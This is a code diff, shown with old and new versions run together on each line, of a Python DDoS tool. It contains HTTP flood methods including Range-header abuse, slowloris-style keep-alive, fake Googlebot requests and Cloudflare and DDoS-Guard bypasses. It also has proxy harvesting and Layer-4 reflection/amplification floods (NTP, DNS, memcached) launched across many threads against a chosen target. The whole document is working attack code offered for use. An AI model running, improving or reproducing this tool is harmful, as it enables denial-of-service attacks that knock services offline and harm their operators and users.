requests_sent += 1
bytes_sent += len(payload)
except Exception: except Exception:
s.close() s.close()
def APACHE(self) -> None: def APACHE(self) -> None:
global bytes_sent, requests_sent
payload: bytes = self.generate_payload("Range: bytes=0-,%s" % ",".join("5-%d" % i for i in range(1, 1024))) payload: bytes = self.generate_payload("Range: bytes=0-,%s" % ",".join("5-%d" % i for i in range(1, 1024)))
try: try:
with self.open_connection() as s: with self.open_connection() as s:
for _ in range(self._rpc): for _ in range(self._rpc):
s.send(payload) if s.send(payload):
requests_sent += 1
bytes_sent += len(payload)
except Exception: except Exception:
s.close() s.close()
def XMLRPC(self) -> None: def XMLRPC(self) -> None:
global bytes_sent, requests_sent
payload: bytes = self.generate_payload(("Content-Length: 345\r\n" payload: bytes = self.generate_payload(("Content-Length: 345\r\n"
"X-Requested-With: XMLHttpRequest\r\n" "X-Requested-With: XMLHttpRequest\r\n"
"Content-Type: application/xml\r\n\r\n" "Content-Type: application/xml\r\n\r\n"
@ -418,122 +486,160 @@ class HttpFlood:
try: try:
with self.open_connection() as s: with self.open_connection() as s:
for _ in range(self._rpc): for _ in range(self._rpc):
s.send(payload) if s.send(payload):
requests_sent += 1
bytes_sent += len(payload)
except Exception: except Exception:
s.close() s.close()
def PPS(self) -> None: def PPS(self) -> None:
global bytes_sent, requests_sent
try: try:
with self.open_connection() as s: with self.open_connection() as s:
for _ in range(self._rpc): for _ in range(self._rpc):
s.send(self._defaultpayload) if s.send(self._defaultpayload):
requests_sent += 1
bytes_sent += len(self._defaultpayload)
except Exception: except Exception:
s.close() s.close()
def GET(self) -> None: def GET(self) -> None:
global bytes_sent, requests_sent
payload: bytes = self.generate_payload() payload: bytes = self.generate_payload()
try: try:
with self.open_connection() as s: with self.open_connection() as s:
for _ in range(self._rpc): for _ in range(self._rpc):
s.send(payload) if s.send(payload):
requests_sent += 1
bytes_sent += len(payload)
except Exception: except Exception:
s.close() s.close()
def BOT(self) -> None: def BOT(self) -> None:
global bytes_sent, requests_sent
payload: bytes = self.generate_payload() payload: bytes = self.generate_payload()
p1, p2 = str.encode(
"GET /robots.txt HTTP/1.1\r\n"
"Host: %s\r\n" % self._target.raw_authority +
"Connection: Keep-Alive\r\n"
"Accept: text/plain,text/html,*/*\r\n"
"User-Agent: %s\r\n" % randchoice(google_agents) +
"Accept-Encoding: gzip,deflate,br\r\n\r\n"
), str.encode(
"GET /sitemap.xml HTTP/1.1\r\n"
"Host: %s\r\n" % self._target.raw_authority +
"Connection: Keep-Alive\r\n"
"Accept: */*\r\n"
"From: googlebot(at)googlebot.com\r\n"
"User-Agent: %s\r\n" % randchoice(google_agents) +
"Accept-Encoding: gzip,deflate,br\r\n"
"If-None-Match: %s-%s\r\n" % (ProxyTools.Random.rand_str(9), ProxyTools.Random.rand_str(4)) +
"If-Modified-Since: Sun, 26 Set 2099 06:00:00 GMT\r\n\r\n"
)
try: try:
with self.open_connection() as s: with self.open_connection() as s:
s.send(str.encode( s.send(p1)
"GET /robots.txt HTTP/1.1\r\n" s.send(p2)
"Host: %s\r\n" % self._target.raw_authority + bytes_sent += len(p1 + p2)
"Connection: Keep-Alive\r\n" requests_sent += 2
"Accept: text/plain,text/html,*/*\r\n"
"User-Agent: %s\r\n" % randchoice(google_agents) +
"Accept-Encoding: gzip,deflate,br\r\n\r\n"
))
s.send(str.encode(
"GET /sitemap.xml HTTP/1.1\r\n"
"Host: %s\r\n" % self._target.raw_authority +
"Connection: Keep-Alive\r\n"
"Accept: */*\r\n"
"From: googlebot(at)googlebot.com\r\n"
"User-Agent: %s\r\n" % randchoice(google_agents) +
"Accept-Encoding: gzip,deflate,br\r\n"
"If-None-Match: %s-%s\r\n" % (ProxyTools.Random.rand_str(9), ProxyTools.Random.rand_str(4)) +
"If-Modified-Since: Sun, 26 Set 2099 06:00:00 GMT\r\n\r\n"
))
for _ in range(self._rpc): for _ in range(self._rpc):
s.send(payload) if s.send(payload):
requests_sent += 1
bytes_sent += len(payload)
except Exception: except Exception:
s.close() s.close()
def EVEN(self) -> None: def EVEN(self) -> None:
global bytes_sent, requests_sent
payload: bytes = self.generate_payload() payload: bytes = self.generate_payload()
try: try:
with self.open_connection() as s: with self.open_connection() as s:
while s.send(payload) and s.recv(1): while s.send(payload) and s.recv(1):
continue requests_sent += 1
bytes_sent += len(payload)
except Exception: except Exception:
s.close() s.close()
def OVH(self) -> None: def OVH(self) -> None:
global bytes_sent, requests_sent
payload: bytes = self.generate_payload() payload: bytes = self.generate_payload()
try: try:
with self.open_connection() as s: with self.open_connection() as s:
for _ in range(min(self._rpc, 5)): for _ in range(min(self._rpc, 5)):
s.send(payload) if s.send(payload):
requests_sent += 1
bytes_sent += len(payload)
except Exception: except Exception:
s.close() s.close()
def CFB(self): def CFB(self):
pro = None pro = None
global bytes_sent, requests_sent
if self._proxies: if self._proxies:
pro = randchoice(self._proxies) pro = randchoice(self._proxies)
try: try:
with create_scraper() as s: with create_scraper() as s:
for _ in range(self._rpc): for _ in range(self._rpc):
if pro: if pro:
s.get(self._target.human_repr(), proxies=pro.asRequest()) with s.get(self._target.human_repr(), proxies=pro.asRequest()) as res:
continue requests_sent += 1
bytes_sent += Tools.sizeOfRequest(res)
continue
s.get(self._target.human_repr()) with s.get(self._target.human_repr()) as res:
requests_sent += 1
bytes_sent += Tools.sizeOfRequest(res)
except Exception: except Exception:
s.close() s.close()
def CFBUAM(self): def CFBUAM(self):
global bytes_sent, requests_sent
payload: bytes = self.generate_payload() payload: bytes = self.generate_payload()
try: try:
with self.open_connection() as s: with self.open_connection() as s:
sleep(5.01) sleep(5.01)
for _ in range(self._rpc): for _ in range(self._rpc):
s.send(payload) if s.send(payload):
requests_sent += 1
bytes_sent += len(payload)
except Exception: except Exception:
s.close() s.close()
def AVB(self): def AVB(self):
global bytes_sent, requests_sent
payload: bytes = self.generate_payload() payload: bytes = self.generate_payload()
try: try:
with self.open_connection() as s: with self.open_connection() as s:
for _ in range(self._rpc): for _ in range(self._rpc):
sleep(max(self._rpc / 1000, 1)) sleep(max(self._rpc / 1000, 1))
s.send(payload) if s.send(payload):
requests_sent += 1
bytes_sent += len(payload)
except Exception: except Exception:
s.close() s.close()
def DGB(self): def DGB(self):
try: global bytes_sent, requests_sent
with create_scraper() as s: with create_scraper() as s:
try:
for _ in range(min(self._rpc, 5)): for _ in range(min(self._rpc, 5)):
sleep(min(self._rpc, 5) / 100) sleep(min(self._rpc, 5) / 100)
if self._proxies: if self._proxies:
pro = randchoice(self._proxies) pro = randchoice(self._proxies)
s.get(self._target.human_repr(), proxies=pro.asRequest()) with s.get(self._target.human_repr(), proxies=pro.asRequest()) as res:
continue requests_sent += 1
s.get(self._target.human_repr()) bytes_sent += Tools.sizeOfRequest(res)
except Exception: continue
s.close()
with s.get(self._target.human_repr()) as res:
requests_sent += 1
bytes_sent += Tools.sizeOfRequest(res)
except Exception:
s.close()
def DYN(self): def DYN(self):
global bytes_sent, requests_sent
payload: str | bytes = self._payload payload: str | bytes = self._payload
payload += "Host: %s.%s\r\n" % (ProxyTools.Random.rand_str(6), self._target.authority) payload += "Host: %s.%s\r\n" % (ProxyTools.Random.rand_str(6), self._target.authority)
payload += self.randHeadercontent payload += self.randHeadercontent
@ -542,11 +648,34 @@ class HttpFlood:
try: try:
with self.open_connection() as s: with self.open_connection() as s:
for _ in range(self._rpc): for _ in range(self._rpc):
s.send(payload) if s.send(payload):
requests_sent += 1
bytes_sent += len(payload)
except Exception:
s.close()
def BYPASS(self):
global requests_sent, bytes_sent
pro = None
if self._proxies:
pro = randchoice(self._proxies)
try:
with Session() as s:
for _ in range(self._rpc):
if pro:
with s.get(self._target.human_repr(), proxies=pro.asRequest()) as res:
requests_sent += 1
bytes_sent += Tools.sizeOfRequest(res)
continue
with s.get(self._target.human_repr()) as res:
requests_sent += 1
bytes_sent += Tools.sizeOfRequest(res)
except Exception: except Exception:
s.close() s.close()
def GSB(self): def GSB(self):
global bytes_sent, requests_sent
payload = "%s %s?qs=%s HTTP/1.1\r\n" % (self._req_type, self._target.raw_path_qs, ProxyTools.Random.rand_str(6)) payload = "%s %s?qs=%s HTTP/1.1\r\n" % (self._req_type, self._target.raw_path_qs, ProxyTools.Random.rand_str(6))
payload = (payload + payload = (payload +
'Accept-Encoding: gzip, deflate, br\r\n' 'Accept-Encoding: gzip, deflate, br\r\n'
@ -567,11 +696,14 @@ class HttpFlood:
try: try:
with self.open_connection() as s: with self.open_connection() as s:
for _ in range(self._rpc): for _ in range(self._rpc):
s.send(payload) if s.send(payload):
requests_sent += 1
bytes_sent += len(payload)
except Exception: except Exception:
s.close() s.close()
def NULL(self) -> None: def NULL(self) -> None:
global bytes_sent, requests_sent
payload: str | bytes = self._payload payload: str | bytes = self._payload
payload += "Host: %s\r\n" % self._target.authority payload += "Host: %s\r\n" % self._target.authority
payload += "User-Agent: null\r\n" payload += "User-Agent: null\r\n"
@ -581,11 +713,14 @@ class HttpFlood:
try: try:
with self.open_connection() as s: with self.open_connection() as s:
for _ in range(self._rpc): for _ in range(self._rpc):
s.send(payload) if s.send(payload):
requests_sent += 1
bytes_sent += len(payload)
except Exception: except Exception:
s.close() s.close()
def SLOW(self): def SLOW(self):
global bytes_sent, requests_sent
payload: bytes = self.generate_payload() payload: bytes = self.generate_payload()
try: try:
with self.open_connection() as s: with self.open_connection() as s:
@ -593,8 +728,11 @@ class HttpFlood:
s.send(payload) s.send(payload)
while s.send(payload) and s.recv(1): while s.send(payload) and s.recv(1):
for i in range(self._rpc): for i in range(self._rpc):
s.send(str.encode("X-a: %d\r\n" % randint(1, 5000))) keep = str.encode("X-a: %d\r\n" % randint(1, 5000))
sleep(self._rpc / 15) if s.send(keep):
sleep(self._rpc / 15)
requests_sent += 1
bytes_sent += len(keep)
break break
except Exception: except Exception:
s.close() s.close()
@ -621,21 +759,6 @@ class HttpFlood:
self._defaultpayload = (self._defaultpayload + "Host: %s\r\n\r\n" % self._target.authority).encode() self._defaultpayload = (self._defaultpayload + "Host: %s\r\n\r\n" % self._target.authority).encode()
if name == "EVEN": self.SENT_FLOOD = self.EVEN if name == "EVEN": self.SENT_FLOOD = self.EVEN
def BYPASS(self):
pro = None
if self._proxies:
pro = randchoice(self._proxies)
try:
with Session() as s:
for _ in range(self._rpc):
if pro:
s.get(self._target.human_repr(), proxies=pro.asRequest())
continue
s.get(self._target.human_repr())
except Exception:
s.close()
class ProxyManager: class ProxyManager:
@staticmethod @staticmethod
@ -644,7 +767,7 @@ class ProxyManager:
lock = Lock() lock = Lock()
for provider in cf["proxy-providers"]: for provider in cf["proxy-providers"]:
if provider["type"] != Proxy_type and Proxy_type != 0: continue if provider["type"] != Proxy_type and Proxy_type != 0: continue
print("Downloading Proxies form %s" % provider["url"]) logger.info("Downloading Proxies form %s" % provider["url"])
ProxyManager.download(provider, proxes, lock, ProxyType.stringToProxyType(str(provider["type"]))) ProxyManager.download(provider, proxes, lock, ProxyType.stringToProxyType(str(provider["type"])))
return proxes return proxes
@ -657,7 +780,7 @@ class ProxyManager:
with threadLock: with threadLock:
proxes.add(proxy) proxes.add(proxy)
except Exception as e: except Exception as e:
print('download proxy error', e) logger.info('Download Proxy Error: %s' % (e.__str__() or e.__repr__()))
class ToolsConsole: class ToolsConsole:
@ -714,22 +837,22 @@ class ToolsConsole:
t = [(last - now) for now, last in zip(od, ld)] t = [(last - now) for now, last in zip(od, ld)]
print(("Bytes Sended %s\n" logger.info(("Bytes Sended %s\n"
"Bytes Recived %s\n" "Bytes Recived %s\n"
"Packets Sended %s\n" "Packets Sended %s\n"
"Packets Recived %s\n" "Packets Recived %s\n"
"ErrIn %s\n" "ErrIn %s\n"
"ErrOut %s\n" "ErrOut %s\n"
"DropIn %s\n" "DropIn %s\n"
"DropOut %s\n" "DropOut %s\n"
"Cpu Usage %s\n" "Cpu Usage %s\n"
"Memory %s\n") % (Tools.humanbytes(t[0]), "Memory %s\n") % (Tools.humanbytes(t[0]),
Tools.humanbytes(t[1]), Tools.humanbytes(t[1]),
Tools.humanformat(t[2]), Tools.humanformat(t[2]),
Tools.humanformat(t[3]), Tools.humanformat(t[3]),
t[4], t[5], t[6], t[7], t[4], t[5], t[6], t[7],
str(cpu_percent()) + "%", str(cpu_percent()) + "%",
str(virtual_memory().percent) + "%")) str(virtual_memory().percent) + "%"))
if cmd in ["CFIP", "DNS"]: if cmd in ["CFIP", "DNS"]:
print("Soon") print("Soon")
continue continue
@ -785,16 +908,16 @@ class ToolsConsole:
print("Error!") print("Error!")
continue continue
print(("Country: %s\n" logger.info(("Country: %s\n"
"City: %s\n" "City: %s\n"
"Org: %s\n" "Org: %s\n"
"Isp: %s\n" "Isp: %s\n"
"Region: %s\n" "Region: %s\n"
) % (info["country"], ) % (info["country"],
info["city"], info["city"],
info["org"], info["org"],
info["isp"], info["isp"],
info["region"])) info["region"]))
if cmd == "PING": if cmd == "PING":
while True: while True:
@ -816,15 +939,15 @@ class ToolsConsole:
print('please wait ...', end="\r") print('please wait ...', end="\r")
r = ping(domain, count=5, interval=0.2) r = ping(domain, count=5, interval=0.2)
print(('Address: %s\n' logger.info(('Address: %s\n'
'Ping: %d\n' 'Ping: %d\n'
'Aceepted Packets: %d/%d\n' 'Aceepted Packets: %d/%d\n'
'status: %s\n' 'status: %s\n'
) % (r.address, ) % (r.address,
r.avg_rtt, r.avg_rtt,
r.packets_received, r.packets_received,
r.packets_sent, r.packets_sent,
"ONLINE" if r.is_alive else "OFFLINE")) "ONLINE" if r.is_alive else "OFFLINE"))
@staticmethod @staticmethod
def stop(): def stop():
@ -887,7 +1010,7 @@ class ToolsConsole:
if __name__ == '__main__': if __name__ == '__main__':
with open(currentDir / "config.json") as f: with open(__dir__ / "config.json") as f:
con = load(f) con = load(f)
with suppress(KeyboardInterrupt): with suppress(KeyboardInterrupt):
with suppress(IndexError): with suppress(IndexError):
@ -902,6 +1025,7 @@ if __name__ == '__main__':
url = None url = None
event = Event() event = Event()
event.clear() event.clear()
target = None
if method not in Methods.ALL_METHODS: if method not in Methods.ALL_METHODS:
exit("Method Not Found %s" % ", ".join(Methods.ALL_METHODS)) exit("Method Not Found %s" % ", ".join(Methods.ALL_METHODS))
@ -914,16 +1038,19 @@ if __name__ == '__main__':
try: try:
host = gethostbyname(url.host) host = gethostbyname(url.host)
except Exception as e: except Exception as e:
print('cant get host by name', url.host, e) exit('Cannot resolve hostname ', url.host, e)
threads = int(argv[4]) threads = int(argv[4])
rpc = int(argv[6]) rpc = int(argv[6])
timer = int(argv[7]) timer = int(argv[7])
proxy_ty = int(argv[3].strip()) proxy_ty = int(argv[3].strip())
proxy_li = Path(currentDir / "files/proxies/" / argv[5].strip()) proxy_li = Path(__dir__ / "files/proxies/" / argv[5].strip())
useragent_li = Path(currentDir / "files/useragent.txt") useragent_li = Path(__dir__ / "files/useragent.txt")
referers_li = Path(currentDir / "files/referers.txt") referers_li = Path(__dir__ / "files/referers.txt")
proxies: Any = set() proxies: Any = set()
if len(argv) == 9:
logger.setLevel("DEBUG")
if not useragent_li.exists(): exit("The Useragent file doesn't exist ") if not useragent_li.exists(): exit("The Useragent file doesn't exist ")
if not referers_li.exists(): exit("The Referer file doesn't exist ") if not referers_li.exists(): exit("The Referer file doesn't exist ")
@ -934,20 +1061,19 @@ if __name__ == '__main__':
if not referers: exit("Empty Referer File ") if not referers: exit("Empty Referer File ")
if proxy_ty not in {4, 5, 1, 0}: exit("Socks Type Not Found [4, 5, 1, 0]") if proxy_ty not in {4, 5, 1, 0}: exit("Socks Type Not Found [4, 5, 1, 0]")
if threads > 1000: print("WARNING! thread is higher than 1000") if threads > 1000: logger.warning("thread is higher than 1000")
if rpc > 100: print("WARNING! RPC (Request Pre Connection) is higher than 100") if rpc > 100: logger.warning("RPC (Request Pre Connection) is higher than 100")
if not proxy_li.exists(): if not proxy_li.exists():
if rpc > 100: print("WARNING! The file doesn't exist, creating files and downloading proxies.") if rpc > 100: logger.warning("The file doesn't exist, creating files and downloading proxies.")
proxy_li.parent.mkdir(parents=True, exist_ok=True) proxy_li.parent.mkdir(parents=True, exist_ok=True)
with proxy_li.open("w") as wr: with proxy_li.open("w") as wr:
Proxies: Set[Proxy] = ProxyManager.DownloadFromConfig(con, proxy_ty) Proxies: Set[Proxy] = ProxyManager.DownloadFromConfig(con, proxy_ty)
print(f"{len(Proxies):,} Proxies are getting checked, this may take awhile !") logger.info(f"{len(Proxies):,} Proxies are getting checked, this may take awhile !")
Proxies = ProxyChecker.checkAll(Proxies, url.human_repr(), 1, threads) Proxies = ProxyChecker.checkAll(Proxies, url.human_repr(), 1, threads)
if not Proxies: if not Proxies: exit(
exit( "Proxy Check failed, Your network may be the problem | The target may not be"
"Proxy Check failed, Your network may be the problem | The target may not be" " available.")
" available.")
stringBuilder = "" stringBuilder = ""
for proxy in Proxies: for proxy in Proxies:
stringBuilder += (proxy.__str__() + "\n") stringBuilder += (proxy.__str__() + "\n")
@ -955,13 +1081,12 @@ if __name__ == '__main__':
proxies = ProxyUtiles.readFromFile(proxy_li) proxies = ProxyUtiles.readFromFile(proxy_li)
if not proxies: if not proxies:
print("Empty Proxy File, Running flood witout proxy") logger.info("Empty Proxy File, Running flood witout proxy")
proxies = None proxies = None
if proxies: if proxies:
print(f"Proxy Count: {len(proxies):,}") logger.info(f"Proxy Count: {len(proxies):,}")
for _ in range(threads): for _ in range(threads):
Thread(target=HttpFlood, args=(url, host, method, rpc, event, uagents, referers, proxies,), HttpFlood(url, host, method, rpc, event, uagents, referers, proxies).start()
daemon=True).start()
if method in Methods.LAYER4_METHODS: if method in Methods.LAYER4_METHODS:
target = argv[2].strip() target = argv[2].strip()
@ -972,34 +1097,43 @@ if __name__ == '__main__':
ref = None ref = None
if ":" not in target: if ":" not in target:
print("WARNING! Port Not Selected, Set To Default: 80") logger.warning("Port Not Selected, Set To Default: 80")
else: else:
target = target.split(":")[0] target = target.split(":")[0]
if 65535 < port or port < 1: exit("Invalid Port [Min: 1 / Max: 65535] ") if 65535 < port or port < 1: exit("Invalid Port [Min: 1 / Max: 65535] ")
if not ProxyTools.Patterns.IP.match(target): exit("Invalid Ip Selected") if not ProxyTools.Patterns.IP.match(target): exit("Invalid Ip Selected")
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "ARD", "SYN"} and \ if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "ARD", "SYN"} and \
not ToolsConsole.checkRawSocket(): exit("Cannot Create Raw Socket ") not ToolsConsole.checkRawSocket(): exit("Cannot Create Raw Socket ")
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "ARD"}: if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "ARD"}:
if len(argv) == 7:
logger.setLevel("DEBUG")
if len(argv) == 6: if len(argv) == 6:
refl_li = Path(currentDir / "files" / argv[5].strip()) refl_li = Path(__dir__ / "files" / argv[5].strip())
if not refl_li.exists(): exit("The Reflector file doesn't exist ") if not refl_li.exists(): exit("The Reflector file doesn't exist ")
ref = set(a.strip() for a in ProxyTools.Patterns.IP.findall(refl_li.open("r+").read())) ref = set(a.strip() for a in ProxyTools.Patterns.IP.findall(refl_li.open("r+").read()))
if not ref: exit("Empty Reflector File ") if not ref: exit("Empty Reflector File ")
else:
if len(argv) == 6:
logger.setLevel("DEBUG")
for _ in range(threads): for _ in range(threads):
Thread(target=Layer4, args=((target, port), ref, method, event,), daemon=True).start() Layer4((target, port), ref, method, event).start()
print("Attack Started !") logger.info("Attack Started to %s with %s method for %s seconds, threads: %d!" %
(target or url.human_repr(), method, timer, threads))
event.set() event.set()
ts = time.time() ts = time()
while time.time() < ts + timer: while time() < ts + timer:
print('Attacking ' + ((str(host) + ':' + str(url.port or 80)) if host and url else str(argv[2])) + ' with ' + one + ' method') logger.debug('PPS: %s, BPS: %s / %d%%' % (Tools.humanformat(int(requests_sent)),
print('Requests sent: ' + str(requests_sent)) Tools.humanbytes(int(bytes_sent)),
print(str(round((time.time() - ts) / timer * 100, 2)) + '%') round((time() - ts) / timer * 100, 2)))
requests_sent.set(0)
bytes_sent.set(0)
sleep(1) sleep(1)
event.clear() event.clear()
exit() exit()
ToolsConsole.usage() ToolsConsole.usage()